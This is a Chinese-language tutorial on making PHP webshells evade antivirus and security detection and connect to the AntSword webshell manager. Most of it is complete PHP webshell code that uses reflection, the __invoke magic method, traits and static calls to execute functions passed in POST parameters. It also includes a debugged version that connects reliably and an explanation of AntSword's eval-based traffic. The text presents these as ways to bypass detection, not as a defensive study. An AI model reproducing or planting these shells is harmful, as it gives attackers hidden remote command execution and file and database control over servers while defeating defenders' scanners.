Webshell免杀之蚁剑连接
字数 821 2025-08-06 08:35:37
Webshell免杀之蚁剑连接技术详解
前言
本文详细讲解如何实现Webshell的免杀并通过蚁剑连接,重点分析PHP中的高级技巧和流量特征规避方法。
核心免杀技术
1. ReflectionClass::newInstance方法
<?php
class Test1 {
public function __construct($para, $_value) {
$para($_value);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_r1) {
foreach (
$$
_r1 as $_asadasd=>$_wfwefb) {
$$
_asadasd = $_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd,
$$
_asadasd);
技术要点:
- 使用反射类ReflectionClass动态实例化类
- 通过构造函数执行可变函数
$para($_value) - 避免直接使用
$_POST等超全局变量,使用可变变量动态获取
2. __invoke魔术方法增强版
<?php
class Test1 {
private $para1 = '';
private $para2 = '';
public function __invoke($para1, $para2) {
$para1($para2);
}
public function __construct($para1, $para2) {
$this($para1, $para2);
}
}
// 其余代码同上
技术要点:
- 利用
__invoke魔术方法,当对象被当作函数调用时自动执行 - 通过构造函数调用对象自身
$this($p1,$p2)触发__invoke
3. Trait特性(PHP 7+)
<?php
trait Dog {
public function eat($a, $b) {
$a($b);
}
}
class Animal {
public function eat() {
echo "This is animal eat";
}
}
class Cat extends Animal {
use Dog;
}
// 参数处理代码
$cat = new Cat();
$cat->eat($_key, $_value);
技术要点:
- 利用PHP的Trait特性实现代码复用
- 通过继承和Trait组合实现命令执行
4. 静态调用非静态方法
<?php
class SimpleThis {
public function NonStatic($p1, $p2) {
if (isset($this)) {
echo '6';
} else {
$p1($p2);
}
}
}
SimpleThis::NonStatic($_key, $_value);
技术要点:
- 利用PHP允许静态调用非静态方法的特性
- 通过检查
$this是否存在实现不同逻辑分支
蚁剑连接问题分析与解决
问题分析
原始蚁剑连接流量显示:
assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=...
问题原因:
- 循环处理POST参数时导致变量覆盖
- 后传入的参数覆盖了前面的
assert函数名
解决方案
修改Webshell代码,确保获取第一个POST参数:
<?php
$s0;
$s1;
class Test1 {
public function __construct($para, $_value) {
$para($_value);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_request) {
foreach (
$$
_request as $_key=>$_value) {
for ($i=0;$i<1;$i++) {
${"s".$i} = $_key;
}
break;
}
}
$class2 = $class1->newInstance($s0, $_value);
关键修改:
- 使用
for循环仅获取第一个POST参数 - 通过
break终止后续参数处理 - 使用动态变量名
${"s".$i}存储函数名
蚁剑连接成功验证
修改后的Webshell可以成功连接蚁剑,实现以下功能:
- 命令执行免杀
- 文件管理
- 数据库操作
- 其他蚁剑标准功能
总结
本文详细讲解了Webshell免杀和蚁剑连接的核心技术,包括:
- 反射类的高级用法
- PHP魔术方法的巧妙利用
- Trait特性的应用
- 静态调用非静态方法的技巧
- 蚁剑连接问题的分析与解决方案
这些技术组合使用可以有效绕过常见的安全检测机制,实现Webshell的免杀和稳定连接。